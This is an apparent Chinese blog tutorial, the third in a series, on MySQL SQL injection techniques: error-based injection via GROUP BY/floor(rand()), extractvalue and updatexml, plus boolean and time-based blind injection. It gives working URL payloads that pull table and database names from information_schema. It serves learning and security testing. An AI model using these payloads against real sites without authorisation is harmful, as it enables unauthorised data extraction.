SQL注入(三)

之前使用的是联合查询,这次使用报错注入

在注入点的判断中,如果发现数据库中的报错信息会直接显示在页面中,则可以用报错注入

group by 重复键冲突报错

查表名

URL:select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand()*2))x from information_schema.tables group by x)a

加粗的x跟a前面都其实是前面语句的别名,完成用法是“一大串语句” as 别名

其中as可以省略

XPATH报错

extractvalue函数

函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用

URL后加:and extractvalue(1,concat('~',(select database()),'~'))

~是添加的连接符,可以换成‘#’、‘$‘等不满足xpath格式的字符,实践中最好把~换成十六进制

注意低版本的MySQL没有这个函数

extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

updataxml函数

函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同

URL后加:and updatexml("1",concat('~',(select database())),"1")

 如果页面存在布尔状态可以使用布尔盲注

猜数据库名长度

URL后加:and length(database())=1 通过改变数字判断数据库名长度

URL后加:and ascii(substr(database(),1,1))=99 判断数据库名第一个单词

substr(字符串,第几个开始,长度)

或者延时注入

 URL后加:and if((length(database())=3),sleep(5),1)

 URL后加:and if((ascii(substr(database(),1,1))=99),sleep(5),1)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值